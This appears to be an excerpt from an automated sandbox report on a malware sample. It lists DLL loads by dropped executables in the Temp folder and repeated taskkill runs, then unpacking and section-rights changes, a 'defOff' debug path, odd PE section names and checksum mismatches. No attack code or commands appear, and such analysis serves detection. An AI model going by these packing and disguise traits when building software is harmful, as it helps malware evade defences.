Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe	Section loaded: kernel.appcore.dll

Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2985984 > 1048576

Source: file.exe

Static PE information: Raw size of waasbvbn is bigger than: 0x100000 < 0x2ad600

Source:	Binary string: my_library.pdbU source: 7a5878ed96.exe, 0000000A.00000003.2870739086.0000000004DEB000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000000A.00000002.2911715801.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001D.00000000.3018577142.00000000001BC000.00000008.00000001.01000000.00000017.sdmp, 7a5878ed96.exe, 0000001F.00000003.3079747725.000000000502B000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3169928437.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr
Source:	Binary string: my_library.pdb source: 7a5878ed96.exe, 0000000A.00000003.2870739086.0000000004DEB000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000000A.00000002.2911715801.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001D.00000000.3018577142.00000000001BC000.00000008.00000001.01000000.00000017.sdmp, 7a5878ed96.exe, 0000001F.00000003.3079747725.000000000502B000.00000004.00001000.00020000.00000000.sdmp, 7a5878ed96.exe, 0000001F.00000002.3169928437.00000000005EC000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 1664VO856PFRR45SNXLF.exe, 00000003.00000002.2439994017.0000000000C92000.00000040.00000001.01000000.00000006.sdmp, 1664VO856PFRR45SNXLF.exe, 00000003.00000003.2302933852.0000000004640000.00000004.00001000.00020000.00000000.sdmp, DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe, 00000020.00000003.3105769279.0000000004900000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe	Unpacked PE file: 3.2.1664VO856PFRR45SNXLF.exe.c90000.0.unpack :EW;.rsrc:W;.idata :W;xkeovjkc:EW;pxadkpqa:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe	Unpacked PE file: 4.2.NX5XML9A4AMIPXG5AGRT0AH025A0.exe.4d0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ibghtiqx:EW;zeltcjlx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ibghtiqx:EW;zeltcjlx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ibghtiqx:EW;zeltcjlx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ibghtiqx:EW;zeltcjlx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ibghtiqx:EW;zeltcjlx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ibghtiqx:EW;zeltcjlx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe	Unpacked PE file: 31.2.7a5878ed96.exe.5c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;tnleqdlj:EW;afcdkohf:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;tnleqdlj:EW;afcdkohf:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.9.dr	Static PE information: real checksum: 0x2b839c should be: 0x2c1493
Source: 7a5878ed96.exe.8.dr	Static PE information: real checksum: 0x210957 should be: 0x21529d
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2e73db should be: 0x2e1d2d
Source: E7HQ3XMUO6VYIDJ3F2DE2.exe.25.dr	Static PE information: real checksum: 0x2b839c should be: 0x2c1493
Source: NX5XML9A4AMIPXG5AGRT0AH025A0.exe.0.dr	Static PE information: real checksum: 0x1de46a should be: 0x1dafe6
Source: 1664VO856PFRR45SNXLF.exe.0.dr	Static PE information: real checksum: 0x2b839c should be: 0x2c1493
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x210957 should be: 0x21529d
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1de46a should be: 0x1dafe6
Source: c1b0009d40.exe.8.dr	Static PE information: real checksum: 0x2e73db should be: 0x2e1d2d
Source: file.exe	Static PE information: real checksum: 0x2e73db should be: 0x2e1d2d
Source: GCVLAW8OP2HD5YHJC3.exe.9.dr	Static PE information: real checksum: 0x1de46a should be: 0x1dafe6
Source: EGCHWF62L351BCP5BKZSSW.exe.25.dr	Static PE information: real checksum: 0x1de46a should be: 0x1dafe6
Source: 1QL5CL9NMBWTM5JDZ.exe.11.dr	Static PE information: real checksum: 0x1de46a should be: 0x1dafe6
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.11.dr	Static PE information: real checksum: 0x2b839c should be: 0x2c1493

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: waasbvbn
Source: file.exe	Static PE information: section name: tkrpbqpe
Source: file.exe	Static PE information: section name: .taggant
Source: 1664VO856PFRR45SNXLF.exe.0.dr	Static PE information: section name:
Source: 1664VO856PFRR45SNXLF.exe.0.dr	Static PE information: section name: .idata
Source: 1664VO856PFRR45SNXLF.exe.0.dr	Static PE information: section name: xkeovjkc
